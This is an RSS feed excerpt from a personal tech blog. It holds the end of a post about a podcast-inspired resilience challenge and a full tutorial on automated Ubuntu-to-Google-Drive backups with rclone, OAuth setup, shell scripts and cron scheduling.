<li><strong>The HPA axis</strong> refers to the system that manages our stress responses. It can be trained to handle stress more effectively.</li>
<li><strong>Heart rate variability</strong> is a measurable indicator of how well our body adapts to stress. With practice, it can be improved.</li>
</ul>
<h3 id="the-three-pillars-framework">The Three Pillars Framework</h3>
<p>This challenge follows the framework discussed in the podcast:</p>
<ul>
<li><strong>Biological Resilience</strong>: Calibrating your nervous system through breath, cold exposure, and sleep</li>
<li><strong>Psychological Flexibility</strong>: Building mental frameworks from evidence-based therapies</li>
<li><strong>Social Connection</strong>: Strengthening the relational safety nets that catch us during hard times</li>
</ul>
<h2 id="what-makes-this-approach-work">What Makes This Approach Work</h2>
<h3 id="1-small-sustainable-steps">1. Small, Sustainable Steps</h3>
<p>Each daily practice takes 5 to 15 minutes, focusing on consistency over intensity. This steady, incremental approach promotes lasting change while preventing burnout.</p>
<h3 id="2-the-orchid-dandelion-insight">2. The Orchid-Dandelion Insight</h3>
<p>One of the most liberating concepts from the podcast was that sensitivity isn't weakness. Whether you're an <em>orchid</em>, thriving in ideal conditions, or a <em>dandelion</em>, capable of adapting anywhere, this challenge is designed to suit your current needs and circumstances. It provides guidance and flexibility no matter your starting point.</p>
<h3 id="3-evidence-based-methods">3. Evidence-Based Methods</h3>
<p>Each exercise in this challenge is based on evidence-backed practices mentioned in the podcast:</p>
<ul>
<li><strong>Physiological sighs</strong> are breathing techniques used to quickly calm your nervous system.</li>
<li><strong>Cognitive reframing</strong> is a strategy from Cognitive Behavioral Therapy (CBT) that helps shift how you view difficult situations.</li>
<li><strong>Values-based actions</strong> come from Acceptance and Commitment Therapy (ACT). They encourage aligning your actions with your personal values.</li>
<li><strong>Voluntary discomfort</strong> is inspired by Stoicism. It builds resilience by intentionally practicing discomfort in controlled ways.</li>
</ul>
<h2 id="a-note-on-the-structure">A Note on the Structure</h2>
<p>The challenge is designed to follow a natural, step-by-step progression:</p>
<ul>
<li><strong>Week 1</strong>: Building a strong nervous system foundation</li>
<li><strong>Week 2</strong>: Creating mindset shifts</li>
<li><strong>Week 3</strong>: Strengthening identity</li>
<li><strong>Week 4</strong>: Integrating what you've learned</li>
</ul>
<p>This structure reflects research that shows lasting change happens gradually over time. It is not an instant process. You can start the challenge on any day, and if you miss a day, simply pick up where you left off the next day. However, try to stay consistent and avoid missing days to build momentum and reinforce progress.</p>
<h2 id="automatic-progress-tracking">Automatic Progress Tracking</h2>
<p>Your challenge progress is saved automatically in your web browser. This approach is private and requires no login.</p>
<ul>
<li><strong>Saves automatically</strong> when you complete each day's task.</li>
<li><strong>Stays private</strong> on your own device.</li>
</ul>
<p><strong>Please note:</strong> Progress is tied to your specific browser and device. Switching will start a new session, so using one browser provides the best experience.</p>
<h2 id="join-me-in-building-resilience">Join Me in Building Resilience</h2>
<p>If the SOLVED resilience episode resonated with you, this challenge offers a practical way to put those insights into action. You don't need specialized equipment or large blocks of free time. Setting aside a few minutes each day and committing to grow is all it takes.</p>
<p>Research suggests that resilience is a skill that everyone has the potential to develop with practice. This challenge was inspired by <a href="https://solvedpodcast.com/resilience/">Episode 06 of the SOLVED podcast</a>, "How to Become More Resilient," and was created to make their insights accessible, practical, and grounded in science. Full credit for the research and ideas goes to the SOLVED team.</p>
<p>Ready to get started? <a href="/tools/resilience/">Join the challenge here</a>.</p>
<hr>
<p>Thank you for reading!</p>
<p>This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the <a href="https://geeksta.net/geeklog/">Geeklog on geeksta.net</a>.</p>        ]]></content:encoded>
    </item>
    <item>
        <title><![CDATA[Setting Up Google Drive Backups on Ubuntu with rclone]]></title>
        <link><![CDATA[https://geeksta.net/geeklog/setting-up-google-drive-backups-on-ubuntu-with-rclone/]]></link>
        <description><![CDATA[<p>Learn how to set up automated backups from Ubuntu Linux to Google Drive using rclone, including OAuth setup, backup scripts, and scheduling with cron.</p>]]></description>
        <guid><![CDATA[https://geeksta.net/geeklog/setting-up-google-drive-backups-on-ubuntu-with-rclone/]]></guid>
        <pubDate>Tue, 30 Sep 2025 13:55:47 </pubDate>
        <content:encoded><![CDATA[
        <p>This tutorial will show you how to set up automated backups from Ubuntu Linux to Google Drive using rclone. You'll need Ubuntu Linux, a Google account with Google Drive, and terminal access with sudo privileges.</p>
<h2 id="installing-rclone">Installing rclone</h2>
<p>If you haven't already installed rclone, open a terminal and run the following commands. The first updates your package list, and the second installs rclone from the Ubuntu repositories.</p>
<pre><code class="language-bash">sudo apt update
sudo apt install rclone
</code></pre>
<p>You can verify the installation by checking the version number with <code>rclone version</code>.</p>
<h2 id="why-you-need-your-own-google-oauth-application">Why You Need Your Own Google OAuth Application</h2>
<p>Google has restricted access to unverified third-party applications, which means rclone's default OAuth credentials no longer work for new users. When you try to authenticate with the default credentials, Google blocks access with an "Access blocked" error stating that rclone hasn't completed Google's verification process.</p>
<p>The solution is to create your own OAuth application in the Google Cloud Console. This gives you a private OAuth app that Google won't block, since you're authorizing your own application to access your own Google Drive. This is a one-time setup that takes about 10 minutes.</p>
<h2 id="creating-your-google-oauth-application">Creating Your Google OAuth Application</h2>
<p>Start by going to the Google Cloud Console at <a href="https://console.cloud.google.com/">console.cloud.google.com</a> and signing in with your Google account. You'll need to create a new project for this application.</p>
<h3 id="setting-up-the-project">Setting Up the Project</h3>
<p>Click the project dropdown at the top of the page and select "New Project". Give your project a name like "rclone-backup" and click Create. Wait a moment for Google to create the project, then make sure it's selected in the project dropdown.</p>
<h3 id="enabling-the-google-drive-api">Enabling the Google Drive API</h3>
<p>From the left sidebar, navigate to "APIs &amp; Services" and then "Library". Use the search box to find "Google Drive API". Click on it and press the Enable button. This allows your OAuth application to access Google Drive.</p>
<h3 id="configuring-the-oauth-consent-screen">Configuring the OAuth Consent Screen</h3>
<p>Before you can create OAuth credentials, you need to configure the consent screen. This is what users see when they authorize the application. Go to "APIs &amp; Services" and then "OAuth consent screen".</p>
<p>Choose "External" as the user type and click Continue. You'll need to fill in some basic information about your application. For the app name, use something like "My rclone Backup". Enter your email address for both the user support email and developer contact information.</p>
<p>Click "Save and Continue" to move to the Scopes page. Click "Add or Remove Scopes" and search for the Google Drive scope. Add <code>https://www.googleapis.com/auth/drive</code>, which gives full read/write access to Google Drive. Select it, click Update, and then "Save and Continue".</p>
<blockquote>
<p><strong>Note:</strong> Full access is the simplest choice for a two-way backup setup. If you only need to upload files and never restore through rclone, <code>https://www.googleapis.com/auth/drive.file</code> is a more restricted alternative that limits access to files created by the app.</p>
</blockquote>
<p>On the Test users page, click "Add Users" and enter your Google email address. This allows you to use the application while it's in testing mode. Click Add, then "Save and Continue". You can review your settings and then click "Back to Dashboard".</p>
<h3 id="creating-oauth-credentials">Creating OAuth Credentials</h3>
<p>Now you can create the actual credentials. Go to "APIs &amp; Services" and then "Credentials". Click "Create Credentials" and choose "OAuth client ID".</p>
<p>For the application type, select "Desktop application". Give it a name like "rclone desktop client" and click "Create". A popup will appear showing your Client ID and Client Secret. Copy both of these values somewhere safe, or click "Download JSON" to save them. You'll need these in the next step.</p>
<h2 id="configuring-rclone">Configuring rclone</h2>
<p>Open your terminal and run <code>rclone config</code>. This starts the interactive configuration process.</p>
<p>Type <code>n</code> to create a new remote and press Enter. Give it a name like <code>gdrive</code>. For the storage type, type <code>drive</code> or find the number corresponding to Google Drive in the list and enter that number.</p>
<p>When prompted for client_id, paste the "Client ID" you copied from the Google Cloud Console. Press Enter, then paste your "Client Secret" when prompted. These custom credentials will allow you to bypass Google's access restrictions.</p>
<p>For the scope, choose option 1 for full access to all files. This gives rclone the ability to read and write any files in your Google Drive. Leave the <code>root_folder_id</code> blank by pressing Enter. Also leave <code>service_account_file</code> blank by pressing Enter.</p>
<p>When asked about advanced config, type <code>n</code> for no. When asked "Use auto config?", type <code>y</code> for yes. This will open a browser window where you'll log in to your Google account and grant permission to your OAuth application. You should see your application name and a prompt asking you to allow access to your Google Drive.</p>
<p>After granting permission, return to the terminal. When asked about configuring as a team drive, type <code>n</code> for no unless you're using Google Workspace shared drives. Confirm the configuration looks correct by typing <code>y</code>, then type <code>q</code> to quit the configuration tool.</p>
<h3 id="testing-your-connection">Testing Your Connection</h3>
<p>Before proceeding, verify that rclone can connect to your Google Drive:</p>
<pre><code class="language-bash">rclone about gdrive:
</code></pre>
<p>This shows your Google Drive storage usage and confirms the connection works. <code>rclone lsd gdrive:</code> also works but returns nothing if your Drive root has no folders, which can look like a failed connection.</p>
<h2 id="understanding-backup-methods">Understanding Backup Methods</h2>
<p>Rclone offers several commands for transferring files, and it's important to understand the differences before creating your backup script.</p>
<p>The <code>sync</code> command makes the destination identical to the source. This means it will copy new and modified files to the destination, and it will also delete files from the destination that no longer exist in the source. This is ideal for maintaining an exact backup where you want the cloud to mirror your local files.</p>
<p>The <code>copy</code> command only copies files from source to destination. It never deletes anything from the destination, even if files are removed from the source. This is useful if you want to keep historical versions of files in the cloud.</p>
<p>The <code>bisync</code> command performs bidirectional synchronization, keeping both locations in sync. Changes made on either side are propagated to the other. This is more complex and requires careful use to avoid conflicts.</p>
<p>For most backup scenarios, <code>sync</code> is the best choice because it maintains an exact copy of your current files in the cloud.</p>
<h2 id="creating-a-backup-script">Creating a Backup Script</h2>
<p>It's useful to create a script that handles your backups automatically. First, create a directory to store your scripts by running <code>mkdir -p ~/scripts</code>.</p>
<p>Create a new file for your backup script with <code>vim ~/scripts/backup-to-gdrive.sh</code>. Here's a basic backup script that you can customize for your needs:</p>
<pre><code class="language-bash">#!/bin/bash

# Configuration
SOURCE_DIR=&quot;/home/$USER/Documents&quot;
BACKUP_NAME=&quot;DocumentsBackup&quot;
REMOTE_NAME=&quot;gdrive&quot;
REMOTE_DIR=&quot;Backups/$BACKUP_NAME&quot;
LOG_FILE=&quot;/home/$USER/logs/rclone-backup.log&quot;
DATE=$(date '+%Y-%m-%d %H:%M:%S')

# Create log directory if it doesn't exist
mkdir -p &quot;$(dirname &quot;$LOG_FILE&quot;)&quot;

# Log start
echo &quot;[$DATE] Starting backup of $SOURCE_DIR to $REMOTE_NAME:$REMOTE_DIR&quot; &gt;&gt; &quot;$LOG_FILE&quot;

# Run rclone sync
rclone sync &quot;$SOURCE_DIR&quot; &quot;$REMOTE_NAME:$REMOTE_DIR&quot; \
    --log-file=&quot;$LOG_FILE&quot; \
    --log-level INFO \
    --exclude &quot;.Trash-*/**&quot; \
    --exclude &quot;.cache/**&quot; \
    --exclude &quot;*.tmp&quot;

# Check if backup was successful
# Exit code 0 = success, 3 = some files failed to transfer, 1 = syntax/config error
if [ $? -eq 0 ]; then
    echo &quot;[$DATE] Backup completed successfully&quot; &gt;&gt; &quot;$LOG_FILE&quot;
else
    echo &quot;[$DATE] Backup finished with errors (check log for details)&quot; &gt;&gt; &quot;$LOG_FILE&quot;
fi
</code></pre>
<p>This script sets up some basic configuration variables at the top, creates a log directory if needed, and runs the sync command with logging enabled. It excludes common temporary files and cache directories that don't need to be backed up. After the sync completes, it checks whether the operation succeeded and logs the result.</p>
<p>If you run the script manually and want live progress output, add <code>--progress</code> to the rclone command temporarily. Don't include it in the script used by cron — it writes to stdout where it serves no purpose and can interfere with log handling.</p>
<p>Make the script executable by running <code>chmod +x ~/scripts/backup-to-gdrive.sh</code>. You can now run your backup anytime by executing <code>~/scripts/backup-to-gdrive.sh</code>.</p>
<h2 id="backing-up-multiple-directories">Backing Up Multiple Directories</h2>
<p>If you want to backup multiple directories, you can extend your script to handle them all. Here's an example that backs up Documents, Pictures, and configuration files:</p>
<pre><code class="language-bash">#!/bin/bash

REMOTE_NAME=&quot;gdrive&quot;
LOG_FILE=&quot;/home/$USER/logs/rclone-backup.log&quot;
DATE=$(date '+%Y-%m-%d %H:%M:%S')

mkdir -p &quot;$(dirname &quot;$LOG_FILE&quot;)&quot;
echo &quot;[$DATE] Starting backups&quot; &gt;&gt; &quot;$LOG_FILE&quot;

# Backup Documents
rclone sync /home/$USER/Documents &quot;$REMOTE_NAME:Backups/Documents&quot; \
    --log-file=&quot;$LOG_FILE&quot; --log-level INFO

# Backup Pictures
rclone sync /home/$USER/Pictures &quot;$REMOTE_NAME:Backups/Pictures&quot; \
    --log-file=&quot;$LOG_FILE&quot; --log-level INFO

# Backup important config files
rclone sync /home/$USER/.config &quot;$REMOTE_NAME:Backups/config&quot; \
    --log-file=&quot;$LOG_FILE&quot; --log-level INFO \
    --exclude &quot;*/Cache/**&quot; \
    --exclude &quot;*/cache/**&quot;

echo &quot;[$DATE] All backups completed&quot; &gt;&gt; &quot;$LOG_FILE&quot;
</code></pre>
<p>Each directory is synced to a separate folder in your Google Drive under the Backups directory. This keeps your backups organized and makes it easier to restore specific types of files later.</p>
<h2 id="automating-backups-with-cron">Automating Backups with Cron</h2>
<p>To run your backups automatically on a schedule, you can use the cron task scheduler. Edit your cron table by running <code>crontab -e</code>. If this is your first time using crontab, you'll be asked to choose an editor.</p>
<p>Add a line to schedule your backup. The format is five time fields followed by the command to run. Here are some common schedules:</p>
<pre><code class="language-bash"># Daily at 2 AM
0 2 * * * /home/yourusername/scripts/backup-to-gdrive.sh

# Every 6 hours
0 */6 * * * /home/yourusername/scripts/backup-to-gdrive.sh

# Every day at 3:30 PM
30 15 * * * /home/yourusername/scripts/backup-to-gdrive.sh
</code></pre>
<p>Replace <code>yourusername</code> with your actual Ubuntu username. Use the full path here rather than <code>$USER</code> or <code>$HOME</code> — cron runs with a minimal environment where those variables may not be set. Save the file and exit the editor.</p>
<h2 id="testing-before-running-real-backups">Testing Before Running Real Backups</h2>
<p>Before setting up automated backups, it's wise to test what rclone will do without actually transferring any files. The <code>--dry-run</code> flag shows you exactly what would be copied, modified, or deleted without making any changes.</p>
<p>Run your script with a dry run by adding the flag to the rclone command temporarily, or run rclone directly from the command line like this:</p>
<pre><code class="language-bash">rclone sync /home/$USER/Documents gdrive:Backups/Documents --dry-run --verbose
</code></pre>
<p>This will output a detailed list of actions that would be taken. Review this carefully to make sure it's doing what you expect. Pay special attention to any files that would be deleted.</p>
<h2 id="useful-rclone-commands">Useful rclone Commands</h2>
<p>There are several rclone commands that are helpful for managing your backups. To list files in your Google Drive, use <code>rclone ls gdrive:</code> for all files or <code>rclone lsd gdrive:</code> for just directories.</p>
<p>To check how much storage you're using, run <code>rclone about gdrive:</code>. This shows your total storage, used space, and free space in Google Drive.</p>
<p>If you need to restore files from Google Drive back to your local system, you can reverse the sync direction:</p>
<pre><code class="language-bash">rclone sync gdrive:Backups/Documents /home/$USER/Documents-Restored
</code></pre>
<p>Be very careful with this command. Using sync in the restore direction will make your local directory match the cloud, which means it could delete local files that aren't in the cloud backup.</p>
<p>To compare your local files with your cloud backup without transferring anything, use the check command:</p>
<pre><code class="language-bash">rclone check /home/$USER/Documents gdrive:Backups/Documents
</code></pre>
<p>This reports any differences between the two locations without modifying either one.</p>
<h2 id="filtering-files">Filtering Files</h2>
<p>You often don't want to backup everything. Rclone provides powerful filtering options that you can add to your sync commands.</p>
<p>To exclude specific patterns, use the <code>--exclude</code> flag. For example, <code>--exclude "*.tmp"</code> skips all files ending in .tmp. You can use <code>--exclude ".git/**"</code> to skip git repositories, or <code>--exclude "node_modules/**"</code> to skip Node.js dependencies.</p>
<p>If you only want to backup specific file types, use <code>--include</code> instead. For example, <code>--include "*.jpg"</code> combined with <code>--include "*.png"</code> will only backup image files. Note that when using include filters, you typically need to also add <code>--exclude "*"</code> at the end to exclude everything that wasn't explicitly included.</p>
<p>You can also filter by file size or age. The flag <code>--min-size 1M</code> only transfers files larger than 1 megabyte, while <code>--max-age 30d</code> only transfers files modified in the last 30 days.</p>
<h2 id="optimizing-transfer-performance">Optimizing Transfer Performance</h2>
<p>By default, rclone transfers files one at a time. For better performance with many small files, you can increase the number of parallel transfers with <code>--transfers 4</code>. This uploads four files simultaneously.</p>
<p>The <code>--checkers 8</code> flag increases the number of files rclone checks simultaneously when determining what needs to be transferred. This can significantly speed up the initial scanning phase.</p>
<p>If you're backing up large files, increasing the buffer size with <code>--buffer-size 16M</code> can improve transfer speeds by reducing the number of round trips to Google Drive.</p>
<p>If backups are consuming too much bandwidth and affecting your other internet usage, you can limit the transfer rate with <code>--bwlimit 10M</code> to restrict uploads to 10 megabytes per second.</p>
<h2 id="monitoring-your-backups">Monitoring Your Backups</h2>
<p>It's important to verify that your backups are running successfully. You can check the log file directly with <code>tail -f /home/$USER/logs/rclone-backup.log</code> to watch backups in real-time as they run.</p>
<p>To see the most recent backup events, use <code>tail -n 20 /home/$USER/logs/rclone-backup.log | grep "Backup"</code> which shows the last 20 lines containing the word "Backup".</p>
<p>Create a simple monitoring script at <code>~/scripts/check-backup-status.sh</code>:</p>
<pre><code class="language-bash">#!/bin/bash

LOG_FILE=&quot;/home/$USER/logs/rclone-backup.log&quot;

echo &quot;=== Recent Backup Events ===&quot;
tail -n 20 &quot;$LOG_FILE&quot; | grep &quot;Backup&quot;

echo &quot;&quot;
echo &quot;=== Google Drive Storage Usage ===&quot;
rclone about gdrive:

echo &quot;&quot;
echo &quot;=== Recently Backed Up Files ===&quot;
rclone ls gdrive:Backups --max-depth 2 | tail -n 10
</code></pre>
<p>Make it executable with <code>chmod +x ~/scripts/check-backup-status.sh</code>. Run this script occasionally to verify your backups are working correctly.</p>
<h2 id="troubleshooting-common-issues">Troubleshooting Common Issues</h2>
<p>If you get an error about failing to create a file system, first check your rclone configuration with <code>rclone config show gdrive</code>. Make sure your <code>client_id</code> and <code>client_secret</code> are present. If they're missing or incorrect, run <code>rclone config</code> again to reconfigure the remote.</p>
<p>Slow transfer speeds can have several causes. Your internet connection might be the bottleneck, especially for large files. Try adding <code>--transfers 4</code> and <code>--checkers 8</code> to speed things up. If uploads are interfering with other network activities, use <code>--bwlimit</code> to limit the bandwidth rclone uses.</p>
<p>If files aren't syncing as expected, run the command with <code>--dry-run</code> and <code>--verbose</code> to see what rclone plans to do. Check that your exclude patterns aren't inadvertently blocking files you want to backup. Verify that you have read permission on the files you're trying to backup.</p>
<p>If rclone seems to hang or stop responding, it might be waiting for network operations to complete. The <code>--timeout 30s</code> flag sets a timeout for individual operations. The <code>--contimeout 60s</code> flag sets a timeout for initial connections.</p>
<h2 id="security-considerations">Security Considerations</h2>
<p>Your OAuth credentials provide access only to your own Google Drive account. The credentials are stored in <code>~/.config/rclone/rclone.conf</code> with permissions set to 600, meaning only your user account can read the file.</p>
<p>Keep your rclone.conf file secure. Don't share it with others or commit it to version control systems. If you ever need to revoke access, you can do so from your Google account settings under Security, then "Third-party apps with account access".</p>
<p>The <code>client_id</code> and <code>client_secret</code> from your OAuth application are not as sensitive as the tokens in <code>rclone.conf</code>, but you should still keep them private. Anyone with these credentials could create their own rclone configuration to access their own Google Drive using your OAuth application.</p>
<p>If you're concerned about data privacy, remember that rclone transfers your files to Google's servers where they're stored according to Google's privacy policy. The files are encrypted in transit using HTTPS, but they're stored in Google Drive in a form that Google can technically access.</p>
<h2 id="maintaining-your-backup-system">Maintaining Your Backup System</h2>
<p>Check your log files every few weeks to verify backups are completing. Spot-check Google Drive occasionally to confirm files are actually there. Monitor storage usage with <code>rclone about gdrive:</code>.</p>
<p>Most importantly, test your restore process periodically. Try restoring a few files to a temporary directory to confirm it works before you actually need it:</p>
<pre><code class="language-bash">rclone sync gdrive:Backups/Documents /tmp/restore-test --dry-run --verbose
</code></pre>
<p>Keep rclone updated — Ubuntu's package manager handles this during system updates. For the latest version, install directly from rclone.org.</p>
<p>For advanced features and options, see the official documentation at rclone.org.</p>
<hr>
<p>Thank you for reading!</p>
<p>This article was written by Ramiro Gómez using open source software and the assistance of AI tools. While I strive to ensure accurate information, please verify any details independently before taking action. For more articles, visit the <a href="https://geeksta.net/geeklog/">Geeklog on geeksta.net</a>.</p>        ]]></content:encoded>
    </item>
</channel></rss>